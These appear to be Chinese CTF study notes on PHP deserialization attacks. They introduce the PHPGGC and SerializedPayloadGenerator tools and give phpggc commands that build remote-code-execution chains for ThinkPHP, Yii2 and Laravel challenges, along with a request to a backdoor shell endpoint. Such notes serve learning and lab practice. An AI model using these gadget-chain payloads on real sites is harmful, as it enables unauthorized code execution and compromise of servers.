PHP 反序列化CLI 框架类PHPGGC 生成器TPYiiLaravel 等利用
# 反序列化链项目 -PHPGGC&NotSoSecure
-NotSoSecure
https://github.com/NotSoSecure/SerializedPayloadGenerator
为了利用反序列化漏洞，需要设置不同的工具，如 YSoSerial(Java) 、
YSoSerial.NET 、 PHPGGC 和它的先决条件。 DeserializationHelper 是包含对
YSoSerial(Java) 、 YSoSerial.Net 、 PHPGGC 和其他工具的支持的 Web 界面。使
用 Web 界面，您可以为各种框架生成反序列化 payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC
Python - 原生
-PHPGGC
https://github.com/ambionics/phpggc
PHPGGC 是一个包含 unserialize() 有效载荷的库以及一个从命令行或以编程方式生成
它们的工具。当在您没有代码的网站上遇到反序列化时，或者只是在尝试构建漏洞时，此
工具允许您生成有效负载，而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看
作是 frohoff 的 ysoserial 的等价物，但是对于 PHP 。 目前该工具支持的小工具链
包括： CodeIgniter4 、 Doctrine 、 Drupal7 、 Guzzle 、 Laravel 、 Magento 、
Monolog 、 Phalcon 、 Podio 、 ThinkPHP 、 Slim 、 SwiftMailer 、 Symfony 、
Wordpress 、 Yii 和 ZendFramework 等。
# 反序列化框架利用 -ThinkPHP&Yii&Laravel
[ 安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url
CTFSHOW 反序列化 267 Yii2 反序列化
弱口令登录 / 源码提示泄漏
GET ： index.php?r=site%2Fabout&view-source
GET ： /index.php?r=backdoor/shell&code=
./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64
CTFSHOW 反序列化 271 Laravel 反序列化
./phpggc Laravel/RCE2 system "id" --url
#Thinkphp 反序列化链分析
Thinkphp-All-vuln-main